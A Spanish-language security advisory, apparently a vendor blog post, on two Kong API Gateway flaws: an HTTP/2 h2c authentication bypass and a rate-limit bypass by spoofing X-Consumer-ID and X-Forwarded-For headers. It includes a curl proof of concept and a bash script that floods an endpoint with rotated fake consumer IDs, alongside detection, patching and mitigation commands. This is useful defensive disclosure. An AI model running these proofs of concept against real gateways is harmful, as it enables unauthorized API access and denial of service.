Dos vulnerabilidades críticas en Kong API Gateway —una omisión de autenticación (CVE-2026-29413) y un fallo que permite eludir la limitación de solicitudes (CVE-2026-29414)— exponen la infraestructura de API al acceso no autenticado y a ataques de denegación de servicio. Tanto Kong OSS como Kong Enterprise están afectados. Se requiere aplicar los parches de inmediato.
Se ha descubierto que Kong API Gateway, uno de los gateways de API de código abierto más utilizados, contiene dos fallos de seguridad críticos en su canal de procesamiento de plugins. Reveladas el 28 de marzo de 2026 y presentes en todas las versiones desde la 3.4.x hasta la 3.8.x, estas vulnerabilidades permiten a los atacantes omitir por completo los plugins de autenticación y eludir los controles configurados de limitación de solicitudes.
CISA ha añadido CVE-2026-29413 al catálogo de vulnerabilidades explotadas conocidas (KEV) tras confirmarse su explotación contra gateways de API de servicios financieros y sanitarios. Las organizaciones que utilicen Kong 3.4–3.8 deben tratarlo como una emergencia que exige aplicar el parche.
| CVE | Tipo | CVSS v3.1 | Gravedad | Versiones afectadas |
|---|---|---|---|---|
| CVE-2026-29413 | Omisión de autenticación | 9.8 | Crítica | Kong 3.4.x – 3.8.x |
| CVE-2026-29414 | Elusión de la limitación de solicitudes | 7.5 | Alta | Kong 3.2.x – 3.8.x |
CVE-2026-29413 es un fallo lógico en el orden de ejecución de plugins de Kong durante la fase de reescritura del ciclo de vida de las solicitudes de Nginx. Cuando se encadenan varios plugins de autenticación (por ejemplo, key-auth seguido de jwt), una condición de carrera en la resolución de prioridades de los plugins permite que una solicitud manipulada omita por completo la validación de autenticación si contiene determinadas pseudocabeceras HTTP/2.
La vulnerabilidad se origina en el ejecutor de plugins Lua de Kong (kong/runloop/plugin_servers/mp_rpc.lua), donde el iterador next_rewrite_phase no vuelve a evaluar correctamente la cadena de plugins cuando un servidor ascendente responde con 101 Switching Protocols antes de que finalice la autenticación. Esto crea una ventana en la que la solicitud se reenvía sin ninguna comprobación de autenticación.
| Métrica | Valor | Justificación |
|---|---|---|
| Vector de ataque | Red | Explotable de forma remota mediante HTTP/HTTPS |
| Complejidad del ataque | Baja | No requiere condiciones especiales ni privilegios |
| Privilegios necesarios | Ninguno | Atacante no autenticado |
| Interacción del usuario | Ninguna | Es posible automatizar por completo la explotación |
| Confidencialidad | Alta | Acceso completo a endpoints de API protegidos |
| Integridad | Alta | El atacante puede modificar los datos del backend |
| Disponibilidad | Alta | Solicitudes sin restricciones al backend |
Un atacante puede explotar CVE-2026-29413 mediante una solicitud HTTP/2 mínima con pseudocabeceras manipuladas. El siguiente comando curl muestra una prueba de concepto para omitir la autenticación en un gateway de Kong que tenga key-auth habilitado:
# Solicitud normal — bloqueada por el plugin key-auth (401 Unauthorized) curl -i https://api.example.com/v1/users \ -H "Host: api.example.com" # Omisión mediante CVE-2026-29413 — envía un activador de actualización HTTP/2 con :authority malformado curl -i --http2 https://api.example.com/v1/users \ -H ":authority: api.example.com\x00injected" \ -H "Connection: Upgrade, HTTP2-Settings" \ -H "Upgrade: h2c" \ -H "HTTP2-Settings: AAMAAABkAAQAAP__" \ --resolve api.example.com:443:192.0.2.1
Cuando Kong procesa la actualización a h2c, el ejecutor de plugins abandona prematuramente la fase de autenticación. La solicitud se reenvía al servicio ascendente, que responde con 200 OK, omitiendo por completo todos los plugins de autenticación configurados.
Los siguientes plugins de autenticación son vulnerables cuando Kong ejecuta las versiones 3.4.x–3.8.x:
key-auth — autenticación mediante clave de APIjwt — validación de JSON Web Tokenbasic-auth — autenticación básica HTTPoauth2 — autorización OAuth 2.0 (omisión parcial)ldap-auth — autenticación mediante directorio LDAPopenid-connect (solo Kong Enterprise) — flujos OIDCCVE-2026-29414 afecta a los plugins rate-limiting y rate-limiting-advanced de Kong cuando están configurados para utilizar los backends de almacenamiento Redis o cluster. Un fallo en la creación de la clave del contador permite que un atacante fragmente sus solicitudes entre múltiples identidades de consumidor sintéticas manipulando la cabecera X-Consumer-ID junto con la suplantación de X-Forwarded-For.
Cuando Kong crea la clave del contador de limitación de solicitudes, concatena el identificador del consumidor y la dirección IP sin validar si dicho identificador fue establecido por el propio gateway o inyectado por el cliente. En implementaciones donde un proxy ascendente o balanceador de carga establece X-Consumer-ID, se puede abusar de la lógica de confianza de cabeceras de Kong para crear un número prácticamente ilimitado de contadores independientes.
| Métrica | Valor | Justificación |
|---|---|---|
| Vector de ataque | Red | Explotable de forma remota |
| Complejidad del ataque | Baja | Manipulación sencilla de cabeceras |
| Privilegios necesarios | Ninguno | No se requiere autenticación previa |
| Impacto: disponibilidad | Alta | DoS del backend mediante la elusión del límite |
El siguiente script muestra cómo un atacante puede enviar 10 000 solicitudes mientras elude un límite de 100 solicitudes por minuto mediante la rotación de identificadores de consumidores sintéticos:
#!/bin/bash # CVE-2026-29414 — PoC de elusión de la limitación de solicitudes # Cada solicitud utiliza un X-Consumer-ID único para obtener su propio contador TARGET="https://api.example.com/v1/products" TOTAL_REQUESTS=10000 for i in $(seq 1 $TOTAL_REQUESTS); do # Generar un identificador de consumidor falso y único para cada solicitud FAKE_CONSUMER_ID=$(cat /proc/sys/kernel/random/uuid) curl -s -o /dev/null -w "%{http_code}\n" "$TARGET" \ -H "X-Consumer-ID: $FAKE_CONSUMER_ID" \ -H "X-Forwarded-For: 10.0.$((RANDOM % 256)).$((RANDOM % 256))" \ -H "apikey: legitimate-api-key" & # Limitar a 50 solicitudes simultáneas if (( i % 50 == 0 )); then wait; fi done wait echo "Completado: $TOTAL_REQUESTS solicitudes enviadas"
En una instancia vulnerable de Kong, este script enviará correctamente las 10 000 solicitudes pese a existir un límite configurado de 100 solicitudes por minuto y consumidor, lo que permite ejecutar un ataque lento y persistente contra la API o una enumeración por fuerza bruta.
| Función / impacto | Kong OSS | Kong Enterprise |
|---|---|---|
| Omisión de autenticación de CVE-2026-29413 | Afectado | Afectado (+ plugin OIDC) |
| Elusión del límite de CVE-2026-29414 | Afectado | Afectado |
| Plugin avanzado de limitación de solicitudes | No disponible | Afectado (vector de omisión adicional) |
| Exposición del portal para desarrolladores | No aplicable | Las API del portal podrían estar expuestas |
| Konnect (SaaS) | No aplicable | Corregido por Kong el 29 de marzo de 2026 |
| Corregido en la versión | 3.9.0 | 3.9.0.0 / 3.8.1.2 (adaptación retrospectiva) |
Los clientes de Kong Enterprise en la plataforma SaaS Konnect recibieron el parche automáticamente el 29 de marzo de 2026. Las instalaciones autogestionadas de Enterprise y todas las implementaciones de OSS requieren una actualización manual.
Comprueba los registros de acceso de Kong en busca de indicios de explotación de CVE-2026-29413. Entre los patrones sospechosos se incluyen rutas protegidas por plugins de autenticación que devuelven 200 sin las entradas de registro correspondientes a la validación de cabeceras de autenticación:
# Buscar indicadores de omisión de autenticación en los registros de acceso de Kong # Solicitudes a rutas protegidas sin apikey/jwt que devuelven 200 grep '"status":200' /var/log/kong/access.log \ | jq -r 'select(.request.headers["apikey"] == null and .request.headers["authorization"] == null)' \ | jq '{time: .started_at, path: .request.uri, consumer: .authenticated_entity}' # CVE-2026-29414: buscar grandes volúmenes de solicitudes con identificadores de consumidor únicos grep '"plugin":"rate-limiting"' /var/log/kong/error.log \ | awk -F'"consumer_id":"' '{print
}' \ | awk -F'"' '{print
# Comprobar la versión de Kong mediante Admin API curl -s http://localhost:8001/ | jq '.version' # Enumerar todos los plugins de limitación de solicitudes para comprobar su configuración curl -s http://localhost:8001/plugins \ | jq '.data[] | select(.name | test("rate-limiting")) | {id, name, config}' # Verificar la configuración de confianza de cabeceras (trusted_ips) curl -s http://localhost:8001/config \ | jq '.trusted_ips'
La solución principal consiste en actualizar a Kong 3.9.0 (OSS) o Kong Enterprise 3.9.0.0 / 3.8.1.2. Utiliza los siguientes comandos para los métodos de implementación habituales:
# Docker — descargar la imagen corregida docker pull kong:3.9.0 docker stop kong && docker rm kong docker run -d --name kong \ --network=kong-net \ -e KONG_DATABASE=postgres \ -e KONG_PG_HOST=kong-database \ -p 8000:8000 -p 8443:8443 \ kong:3.9.0 # Kubernetes — actualización gradual mediante Helm helm repo update helm upgrade kong kong/kong \ --namespace kong \ --set image.tag=3.9.0 \ --reuse-values # Actualización del paquete en Ubuntu/Debian curl -Lo kong.deb "https://packages.konghq.com/public/gateway-39/deb/debian/pool/buster/main/k/ko/kong_3.9.0_amd64.deb" sudo dpkg -i kong.deb sudo kong restart
Hasta que puedas actualizar, restringe las direcciones IP ascendentes en las que Kong confía para las cabeceras X-Consumer-ID y X-Forwarded-For. Edita kong.conf:
# kong.conf — restringir las IP de confianza únicamente a las direcciones conocidas del balanceador de carga trusted_ips = 10.0.1.10,10.0.1.11,10.0.1.12 # Deshabilitar la transferencia de la cabecera X-Consumer-ID desde los clientes headers = X-Kong-Upstream-Latency, X-Kong-Proxy-Latency, Via
Como solución provisional antes de actualizar, deshabilita el procesamiento de actualizaciones HTTP/2 si tu entorno no lo necesita:
# kong.conf — deshabilitar el procesamiento de actualizaciones h2c (HTTP/2 sin cifrar) proxy_listen = 0.0.0.0:8000 reuseport backlog=16384 # Eliminar la directiva 'http2' de proxy_listen si está presente # proxy_listen = 0.0.0.0:8000 http2 reuseport ← ELIMINAR la palabra clave 'http2' # Para proteger a nivel de nginx, añadir a nginx_http_include: proxy_http_version 1.1;
# Confirmar que se está ejecutando la versión corregida curl -s http://localhost:8001/ | jq -r '"Versión de Kong: " + .version' # Comprobar que ya no es posible omitir la autenticación (debe devolver 401) curl -i --http2 https://your-gateway.example.com/protected-route \ -H "Connection: Upgrade, HTTP2-Settings" \ -H "Upgrade: h2c" \ -H "HTTP2-Settings: AAMAAABkAAQAAP__" # Resultado esperado: HTTP/1.1 401 Unauthorized
h2c y la inyección de X-Consumer-ID añaden defensa en profundidad./audit/requests para conservar un rastro forense de los cambios en Admin API.| Fecha | Evento |
|---|---|
| 2026-02-14 | Las vulnerabilidades se notifican al equipo de seguridad de Kong mediante HackerOne |
| 2026-02-17 | Kong confirma ambas CVE y asigna los identificadores |
| 2026-03-10 | Identificadores CVE reservados: CVE-2026-29413, CVE-2026-29414 |
| 2026-03-28 | Se publican Kong 3.9.0 y la adaptación retrospectiva Enterprise 3.8.1.2 |
| 2026-03-29 | Kong Konnect (SaaS) recibe el parche automáticamente |
| 2026-04-01 | CISA añade CVE-2026-29413 al catálogo KEV |
| 2026-04-02 | Se publica una PoC pública del exploit en GitHub |
Gestión de vulnerabilidades basada en IA con más de 331 910 CVE indexadas. Detecta CVE de Kong, configuraciones incorrectas y endpoints de API expuestos antes que los atacantes.
Iniciar prueba gratuitaMantente seguro. Mantente alerta.
🗡️ Equipo de seguridad de KENSAI
🛡️ ¿Tu puerta de enlace API es segura?
Descubre las CVE y configuraciones incorrectas de Kong antes que los atacantes.
Analiza gratis tu puerta de enlace API →Este contenido destacado ahora dirige tráfico hacia páginas estratégicas de bug bounty y archivos, en lugar de terminar en un callejón sin salida.